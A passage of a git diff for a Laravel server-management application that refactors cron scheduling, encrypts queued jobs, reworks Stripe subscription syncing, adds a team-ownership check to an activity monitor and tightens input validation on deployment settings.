getTaskSkipReason(ScheduledTask $task): ?string + private function getTaskCriticalSkipReason(ScheduledTask $task, ?Server $server): ?string { - $service = $task->service; - $application = $task->application; - - $server = $task->server(); if (blank($server)) { $task->delete(); @@ -260,35 +313,28 @@ private function getTaskSkipReason(ScheduledTask $task): ?string return 'subscription_unpaid'; } - if (! $service && ! $application) { + if (! $task->service && ! $task->application) { $task->delete(); return 'resource_deleted'; } - if ($application && str($application->status)->contains('running') === false) { + return null; + } + + private function getTaskRuntimeSkipReason(ScheduledTask $task): ?string + { + if ($task->application && str($task->application->status)->contains('running') === false) { return 'application_not_running'; } - if ($service && str($service->status)->contains('running') === false) { + if ($task->service && str($task->service->status)->contains('running') === false) { return 'service_not_running'; } return null; } - private function shouldRunNow(string $frequency, string $timezone): bool - { - $cron = new CronExpression($frequency); - - // Use the frozen execution time, not the current time - // Fallback to current time if execution time is not set (shouldn't happen) - $baseTime = $this->executionTime ?? Carbon::now(); - $executionTime = $baseTime->copy()->setTimezone($timezone); - - return $cron->isDue($executionTime); - } - private function processDockerCleanups(): void { // Get all servers that need cleanup checks @@ -319,7 +365,7 @@ private function processDockerCleanups(): void } // Use the frozen execution time for consistent evaluation - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if (shouldRunCronNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}", $this->executionTime)) { DockerCleanupJob::dispatch( $server, false, diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php index b21bc11a1..49b9b9702 100644 --- a/app/Jobs/ScheduledTaskJob.php +++ b/app/Jobs/ScheduledTaskJob.php @@ -14,13 +14,14 @@ use App\Notifications\ScheduledTask\TaskSuccess; use Carbon\Carbon; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ScheduledTaskJob implements ShouldQueue +class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/SendMessageToSlackJob.php b/app/Jobs/SendMessageToSlackJob.php index fcd87a9dd..f869fd602 100644 --- a/app/Jobs/SendMessageToSlackJob.php +++ b/app/Jobs/SendMessageToSlackJob.php @@ -4,16 +4,27 @@ use App\Notifications\Dto\SlackMessage; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; -class SendMessageToSlackJob implements ShouldQueue +class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + /** + * The number of times the job may be attempted. + */ + public $tries = 5; + + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + public function __construct( private SlackMessage $message, private string $webhookUrl diff --git a/app/Jobs/SendMessageToTelegramJob.php b/app/Jobs/SendMessageToTelegramJob.php index 6b0a64ae3..6b04d2191 100644 --- a/app/Jobs/SendMessageToTelegramJob.php +++ b/app/Jobs/SendMessageToTelegramJob.php @@ -22,6 +22,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue */ public $tries = 5; + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + /** * The maximum number of unhandled exceptions to allow before failing. */ diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index d4a499865..2c73ae43e 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -108,10 +108,6 @@ public function handle() public function failed(?\Throwable $exception): void { if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { - Log::warning('ServerConnectionCheckJob timed out', [ - 'server_id' => $this->server->id, - 'server_name' => $this->server->name, - ]); $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, @@ -131,11 +127,8 @@ private function checkHetznerStatus(): void $serverData = $hetznerService->getServer($this->server->hetzner_server_id); $status = $serverData['status'] ?? null; - } catch (\Throwable $e) { - Log::debug('ServerConnectionCheck: Hetzner status check failed', [ - 'server_id' => $this->server->id, - 'error' => $e->getMessage(), - ]); + } catch (\Throwable) { + // Silently ignore — server may have been deleted from Hetzner. } if ($this->server->hetzner_server_status !== $status) { $this->server->update(['hetzner_server_status' => $status]); diff --git a/app/Jobs/ServerLimitCheckJob.php b/app/Jobs/ServerLimitCheckJob.php index aa82c6dad..06e94fc93 100644 --- a/app/Jobs/ServerLimitCheckJob.php +++ b/app/Jobs/ServerLimitCheckJob.php @@ -38,7 +38,7 @@ public function handle() $server->forceDisableServer(); $this->team->notify(new ForceDisabled($server)); }); - } elseif ($number_of_servers_to_disable === 0) { + } elseif ($number_of_servers_to_disable <= 0) { $servers->each(function ($server) { if ($server->isForceDisabled()) { $server->forceEnableServer(); diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index a4619354d..3f748f0ca 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -5,8 +5,8 @@ use App\Models\InstanceSettings; use App\Models\Server; use App\Models\Team; -use Cron\CronExpression; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; @@ -15,7 +15,7 @@ use Illuminate\Support\Collection; use Illuminate\Support\Facades\Log; -class ServerManagerJob implements ShouldQueue +class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -64,11 +64,11 @@ public function handle(): void private function getServers(): Collection { - $allServers = Server::where('ip', '!=', '1.2.3.4'); + $allServers = Server::with('settings')->where('ip', '!=', '1.2.3.4'); if (isCloud()) { $servers = $allServers->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get(); - $own = Team::find(0)->servers; + $own = Team::find(0)->servers()->with('settings')->get(); return $servers->merge($own); } else { @@ -79,9 +79,13 @@ private function getServers(): Collection private function dispatchConnectionChecks(Collection $servers): void { - if ($this->shouldRunNow($this->checkFrequency)) { + if (shouldRunCronNow($this->checkFrequency, $this->instanceTimezone, 'server-connection-checks', $this->executionTime)) { $servers->each(function (Server $server) { try { + // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity + if ($server->isSentinelEnabled() && $server->isSentinelLive()) { + return; + } ServerConnectionCheckJob::dispatch($server); } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [ @@ -124,19 +128,17 @@ private function processServerTasks(Server $server): void if ($sentinelOutOfSync) { // Dispatch ServerCheckJob if Sentinel is out of sync - if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) { + if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) { ServerCheckJob::dispatch($server); } } $isSentinelEnabled = $server->isSentinelEnabled(); - $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone); + $shouldRestartSentinel = $isSentinelEnabled && shouldRunCronNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}", $this->executionTime); // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { - dispatch(function () use ($server) { - $server->restartContainer('coolify-sentinel'); - }); + CheckAndStartSentinelJob::dispatch($server); } // Dispatch ServerStorageCheckJob if due (only when Sentinel is out of sync or disabled) @@ -146,7 +148,7 @@ private function processServerTasks(Server $server): void if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) { $serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency]; } - $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone); + $shouldRunStorageCheck = shouldRunCronNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}", $this->executionTime); if ($shouldRunStorageCheck) { ServerStorageCheckJob::dispatch($server); @@ -154,27 +156,13 @@ private function processServerTasks(Server $server): void } // Dispatch ServerPatchCheckJob if due (weekly) - $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone); + $shouldRunPatchCheck = shouldRunCronNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}", $this->executionTime); if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight ServerPatchCheckJob::dispatch($server); } - // Sentinel update checks (hourly) - check for updates to Sentinel version - // No timezone needed for hourly - runs at top of every hour - if ($isSentinelEnabled && $this->shouldRunNow('0 * * * *')) { - CheckAndStartSentinelJob::dispatch($server); - } - } - - private function shouldRunNow(string $frequency, ?string $timezone = null): bool - { - $cron = new CronExpression($frequency); - - // Use the frozen execution time, not the current time - $baseTime = $this->executionTime ?? Carbon::now(); - $executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone')); - - return $cron->isDue($executionTime); + // Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates. + // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } } diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index aebceaa6d..3485ffe32 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -2,13 +2,15 @@ namespace App\Jobs; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Subscription; use App\Models\Team; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Queue\Queueable; use Illuminate\Support\Str; -class StripeProcessJob implements ShouldQueue +class StripeProcessJob implements ShouldBeEncrypted, ShouldQueue { use Queueable; @@ -71,25 +73,15 @@ public function handle(): void // send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}."); throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}."); } - $subscription = Subscription::where('team_id', $teamId)->first(); - if ($subscription) { - // send_internal_notification('Old subscription activated for team: '.$teamId); - $subscription->update([ + Subscription::updateOrCreate( + ['team_id' => $teamId], + [ 'stripe_subscription_id' => $subscriptionId, 'stripe_customer_id' => $customerId, 'stripe_invoice_paid' => true, 'stripe_past_due' => false, - ]); - } else { - // send_internal_notification('New subscription for team: '.$teamId); - Subscription::create([ - 'team_id' => $teamId, - 'stripe_subscription_id' => $subscriptionId, - 'stripe_customer_id' => $customerId, - 'stripe_invoice_paid' => true, - 'stripe_past_due' => false, - ]); - } + ] + ); break; case 'invoice.paid': $customerId = data_get($data, 'customer'); @@ -225,18 +217,15 @@ public function handle(): void // send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}."); throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}."); } - $subscription = Subscription::where('team_id', $teamId)->first(); - if ($subscription) { - // send_internal_notification("Subscription already exists for team: {$teamId}"); - throw new \RuntimeException("Subscription already exists for team: {$teamId}"); - } else { - Subscription::create([ - 'team_id' => $teamId, + Subscription::updateOrCreate( + ['team_id' => $teamId], + [ 'stripe_subscription_id' => $subscriptionId, 'stripe_customer_id' => $customerId, 'stripe_invoice_paid' => false, - ]); - } + ] + ); + break; case 'customer.subscription.updated': $teamId = data_get($data, 'metadata.team_id'); $userId = data_get($data, 'metadata.user_id'); @@ -251,34 +240,33 @@ public function handle(): void $subscription = Subscription::where('stripe_customer_id', $customerId)->first(); if (! $subscription) { if ($status === 'incomplete_expired') { - // send_internal_notification('Subscription incomplete expired'); throw new \RuntimeException('Subscription incomplete expired'); } - if ($teamId) { - $subscription = Subscription::create([ - 'team_id' => $teamId, + if (! $teamId) { + throw new \RuntimeException('No subscription and team id found'); + } + $subscription = Subscription::firstOrCreate( + ['team_id' => $teamId], + [ 'stripe_subscription_id' => $subscriptionId, 'stripe_customer_id' => $customerId, 'stripe_invoice_paid' => false, - ]); - } else { - // send_internal_notification('No subscription and team id found'); - throw new \RuntimeException('No subscription and team id found'); - } + ] + ); } $cancelAtPeriodEnd = data_get($data, 'cancel_at_period_end'); $feedback = data_get($data, 'cancellation_details.feedback'); $comment = data_get($data, 'cancellation_details.comment'); $lookup_key = data_get($data, 'items.data.0.price.lookup_key'); if (str($lookup_key)->contains('dynamic')) { - $quantity = data_get($data, 'items.data.0.quantity', 2); + $quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT); $team = data_get($subscription, 'team'); if ($team) { $team->update([ 'custom_server_limit' => $quantity, ]); + ServerLimitCheckJob::dispatch($team); } - ServerLimitCheckJob::dispatch($team); } $subscription->update([ 'stripe_feedback' => $feedback, diff --git a/app/Jobs/SyncStripeSubscriptionsJob.php b/app/Jobs/SyncStripeSubscriptionsJob.php index 9eb946e4d..0e221756d 100644 --- a/app/Jobs/SyncStripeSubscriptionsJob.php +++ b/app/Jobs/SyncStripeSubscriptionsJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class SyncStripeSubscriptionsJob implements ShouldQueue +class SyncStripeSubscriptionsJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -22,7 +23,7 @@ public function __construct(public bool $fix = false) $this->onQueue('high'); } - public function handle(): array + public function handle(?\Closure $onProgress = null): array { if (! isCloud() || ! isStripe()) { return ['error' => 'Not running on Cloud or Stripe not configured']; @@ -33,48 +34,73 @@ public function handle(): array ->get(); $stripe = new \Stripe\StripeClient(config('subscription.stripe_api_key')); + + // Bulk fetch all valid subscription IDs from Stripe (active + past_due) + $validStripeIds = $this->fetchValidStripeSubscriptionIds($stripe, $onProgress); + + // Find DB subscriptions not in the valid set + $staleSubscriptions = $subscriptions->filter( + fn (Subscription $sub) => ! in_array($sub->stripe_subscription_id, $validStripeIds) + ); + + // For each stale subscription, get the exact Stripe status and check for resubscriptions $discrepancies = []; + $resubscribed = []; $errors = []; - foreach ($subscriptions as $subscription) { + foreach ($staleSubscriptions as $subscription) { try { $stripeSubscription = $stripe->subscriptions->retrieve( $subscription->stripe_subscription_id ); + $stripeStatus = $stripeSubscription->status; - // Check if Stripe says cancelled but we think it's active - if (in_array($stripeSubscription->status, ['canceled', 'incomplete_expired', 'unpaid'])) { - $discrepancies[] = [ - 'subscription_id' => $subscription->id, - 'team_id' => $subscription->team_id, - 'stripe_subscription_id' => $subscription->stripe_subscription_id, - 'stripe_status' => $stripeSubscription->status, - ]; - - // Only fix if --fix flag is passed - if ($this->fix) { - $subscription->update([ - 'stripe_invoice_paid' => false, - 'stripe_past_due' => false, - ]); - - if ($stripeSubscription->status === 'canceled') { - $subscription->team?->subscriptionEnded(); - } - } - } - - // Small delay to avoid Stripe rate limits - usleep(100000); // 100ms + usleep(100000); // 100ms rate limit delay } catch (\Exception $e) { $errors[] = [ 'subscription_id' => $subscription->id, 'error' => $e->getMessage(), ]; + + continue; + } + + // Check if this user resubscribed under a different customer/subscription + $activeSub = $this->findActiveSubscriptionByEmail($stripe, $stripeSubscription->customer); + if ($activeSub) { + $resubscribed[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'email' => $activeSub['email'], + 'old_stripe_subscription_id' => $subscription->stripe_subscription_id, + 'old_stripe_customer_id' => $stripeSubscription->customer, + 'new_stripe_subscription_id' => $activeSub['subscription_id'], + 'new_stripe_customer_id' => $activeSub['customer_id'], + 'new_status' => $activeSub['status'], + ]; + + continue; + } + + $discrepancies[] = [ + 'subscription_id' => $subscription->id, + 'team_id' => $subscription->team_id, + 'stripe_subscription_id' => $subscription->stripe_subscription_id, + 'stripe_status' => $stripeStatus, + ]; + + if ($this->fix) { + $subscription->update([ + 'stripe_invoice_paid' => false, + 'stripe_past_due' => false, + ]); + + if ($stripeStatus === 'canceled') { + $subscription->team?->subscriptionEnded(); + } } } - // Only notify if discrepancies found and fixed if ($this->fix && count($discrepancies) > 0) { send_internal_notification( 'SyncStripeSubscriptionsJob: Fixed '.count($discrepancies)." discrepancies:\n". @@ -85,8 +111,88 @@ public function handle(): array return [ 'total_checked' => $subscriptions->count(), 'discrepancies' => $discrepancies, + 'resubscribed' => $resubscribed, 'errors' => $errors, 'fixed' => $this->fix, ]; } + + /** + * Given a Stripe customer ID, get their email and search for other customers + * with the same email that have an active subscription. + * + * @return array{email: string, customer_id: string, subscription_id: string, status: string}|null + */ + private function findActiveSubscriptionByEmail(\Stripe\StripeClient $stripe, string $customerId): ?array + { + try { + $customer = $stripe->customers->retrieve($customerId); + $email = $customer->email; + + if (! $email) { + return null; + } + + usleep(100000); + + $customers = $stripe->customers->all([ + 'email' => $email, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($customers->data as $matchingCustomer) { + if ($matchingCustomer->id === $customerId) { + continue; + } + + $subs = $stripe->subscriptions->all([ + 'customer' => $matchingCustomer->id, + 'limit' => 10, + ]); + + usleep(100000); + + foreach ($subs->data as $sub) { + if (in_array($sub->status, ['active', 'past_due'])) { + return [ + 'email' => $email, + 'customer_id' => $matchingCustomer->id, + 'subscription_id' => $sub->id, + 'status' => $sub->status, + ]; + } + } + } + } catch (\Exception $e) { + // Silently skip — will fall through to normal discrepancy + } + + return null; + } + + /** + * Bulk fetch all active and past_due subscription IDs from Stripe. + * + * @return array + */ + private function fetchValidStripeSubscriptionIds(\Stripe\StripeClient $stripe, ?\Closure $onProgress = null): array + { + $validIds = []; + $fetched = 0; + + foreach (['active', 'past_due'] as $status) { + foreach ($stripe->subscriptions->all(['status' => $status, 'limit' => 100])->autoPagingIterator() as $sub) { + $validIds[] = $sub->id; + $fetched++; + + if ($onProgress) { + $onProgress($fetched); + } + } + } + + return $validIds; + } } diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index b5e1929de..288904471 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -8,13 +8,14 @@ use App\Events\ServerValidated; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ValidateAndInstallServerJob implements ShouldQueue +class ValidateAndInstallServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -178,6 +179,9 @@ public function handle(): void // Mark validation as complete $this->server->update(['is_validating' => false]); + // Auto-fetch server details now that validation passed + $this->server->gatherServerMetadata(); + // Refresh server to get latest state $this->server->refresh(); diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index 58b6944a2..f7addacf1 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class VerifyStripeSubscriptionStatusJob implements ShouldQueue +class VerifyStripeSubscriptionStatusJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; @@ -81,12 +82,9 @@ public function handle(): void 'stripe_past_due' => false, ]); - // Trigger subscription ended logic if canceled - if ($stripeSubscription->status === 'canceled') { - $team = $this->subscription->team; - if ($team) { - $team->subscriptionEnded(); - } + $team = $this->subscription->team; + if ($team) { + $team->subscriptionEnded(); } break; diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php index 370ff1eaa..665d14ba0 100644 --- a/app/Livewire/ActivityMonitor.php +++ b/app/Livewire/ActivityMonitor.php @@ -2,7 +2,9 @@ namespace App\Livewire; +use App\Models\Server; use App\Models\User; +use Livewire\Attributes\Locked; use Livewire\Component; use Spatie\Activitylog\Models\Activity; @@ -10,6 +12,7 @@ class ActivityMonitor extends Component { public ?string $header = null; + #[Locked] public $activityId = null; public $eventToDispatch = 'activityFinished'; @@ -55,16 +58,49 @@ public function hydrateActivity() return; } - $this->activity = Activity::find($this->activityId); - } + $activity = Activity::find($this->activityId); - public function updatedActivityId($value) - { - if ($value) { - $this->hydrateActivity(); - $this->isPollingActive = true; - self::$eventDispatched = false; + if (! $activity) { + $this->activity = null; + + return; } + + $currentTeamId = currentTeam()?->id; + + // Check team_id stored directly in activity properties + $activityTeamId = data_get($activity, 'properties.team_id'); + if ($activityTeamId !== null) { + if ((int) $activityTeamId !== (int) $currentTeamId) { + $this->activity = null; + + return; + } + + $this->activity = $activity; + + return; + } + + // Fallback: verify ownership via the server that ran the command + $serverUuid = data_get($activity, 'properties.server_uuid'); + if ($serverUuid) { + $server = Server::where('uuid', $serverUuid)->first(); + if ($server && (int) $server->team_id !== (int) $currentTeamId) { + $this->activity = null; + + return; + } + + if ($server) { + $this->activity = $activity; + + return; + } + } + + // Fail closed: no team_id and no server_uuid means we cannot verify ownership + $this->activity = null; } public function polling() diff --git a/app/Livewire/NavbarDeleteTeam.php b/app/Livewire/NavbarDeleteTeam.php index a8c932912..8e5478b5e 100644 --- a/app/Livewire/NavbarDeleteTeam.php +++ b/app/Livewire/NavbarDeleteTeam.php @@ -15,10 +15,10 @@ public function mount() $this->team = currentTeam()->name; } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $currentTeam = currentTeam(); diff --git a/app/Livewire/Project/Application/Configuration.php b/app/Livewire/Project/Application/Configuration.php index 5d7f3fd31..cc1bf15b9 100644 --- a/app/Livewire/Project/Application/Configuration.php +++ b/app/Livewire/Project/Application/Configuration.php @@ -51,9 +51,7 @@ public function mount() $this->environment = $environment; $this->application = $application; - if ($this->application->deploymentType() === 'deploy_key' && $this->currentRoute === 'project.application.preview-deployments') { - return redirect()->route('project.application.configuration', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]); - } + if ($this->application->build_pack === 'dockercompose' && $this->currentRoute === 'project.application.healthcheck') { return redirect()->route('project.application.configuration', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]); diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 008bd3905..5c186af70 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -3,12 +3,14 @@ namespace App\Livewire\Project\Application; use App\Actions\Application\GenerateConfig; +use App\Jobs\ApplicationDeploymentJob; use App\Models\Application; use App\Support\ValidationPatterns; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; -use Livewire\Attributes\Validate; use Livewire\Component; +use Livewire\Features\SupportEvents\Event; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -22,136 +24,95 @@ class General extends Component public Collection $services; - #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')] public string $name; - #[Validate(['string', 'nullable'])] public ?string $description = null; - #[Validate(['nullable'])] public ?string $fqdn = null; - #[Validate(['required'])] public string $gitRepository; - #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable'])] public ?string $gitCommitSha = null; - #[Validate(['string', 'nullable'])] public ?string $installCommand = null; - #[Validate(['string', 'nullable'])] public ?string $buildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $startCommand = null; - #[Validate(['required'])] public string $buildPack; - #[Validate(['required'])] public string $staticImage; - #[Validate(['required'])] public string $baseDirectory; - #[Validate(['string', 'nullable'])] public ?string $publishDirectory = null; - #[Validate(['string', 'nullable'])] public ?string $portsExposes = null; - #[Validate(['string', 'nullable'])] public ?string $portsMappings = null; - #[Validate(['string', 'nullable'])] public ?string $customNetworkAliases = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerfileLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfileTargetBuild = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageName = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'])] public ?string $dockerComposeLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerCompose = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeRaw = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomStartCommand = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomBuildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $customDockerRunOptions = null; - #[Validate(['string', 'nullable'])] + // Security: pre/post deployment commands are intentionally arbitrary shell — users need full + // flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization. + // Commands execute inside the application's own container, not on the host. public ?string $preDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $preDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $customNginxConfiguration = null; - #[Validate(['boolean', 'required'])] public bool $isStatic = false; - #[Validate(['boolean', 'required'])] public bool $isSpa = false; - #[Validate(['boolean', 'required'])] public bool $isBuildServerEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isPreserveRepositoryEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelEscapeEnabled = true; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelReadonlyEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isHttpBasicAuthEnabled = false; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthUsername = null; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthPassword = null; - #[Validate(['nullable'])] public ?string $watchPaths = null; - #[Validate(['string', 'required'])] public string $redirect; - #[Validate(['nullable'])] public $customLabels; public bool $labelsChanged = false; @@ -184,33 +145,33 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => 'nullable', + 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', 'buildPack' => 'required', 'staticImage' => 'required', - 'baseDirectory' => 'required', - 'publishDirectory' => 'nullable', + 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), + 'publishDirectory' => ValidationPatterns::directoryPathRules(), 'portsExposes' => 'required', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => 'nullable', - 'dockerComposeLocation' => 'nullable', + 'dockerfileLocation' => ValidationPatterns::filePathRules(), + 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', - 'dockerfileTargetBuild' => 'nullable', - 'dockerComposeCustomStartCommand' => 'nullable', - 'dockerComposeCustomBuildCommand' => 'nullable', + 'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(), + 'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(), + 'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(), 'customLabels' => 'nullable', - 'customDockerRunOptions' => 'nullable', + 'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000), 'preDeploymentCommand' => 'nullable', - 'preDeploymentCommandContainer' => 'nullable', + 'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'postDeploymentCommand' => 'nullable', - 'postDeploymentCommandContainer' => 'nullable', + 'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'customNginxConfiguration' => 'nullable', 'isStatic' => 'boolean|required', 'isSpa' => 'boolean|required', @@ -231,6 +192,16 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ + ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), + ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), + 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', + 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', + 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker 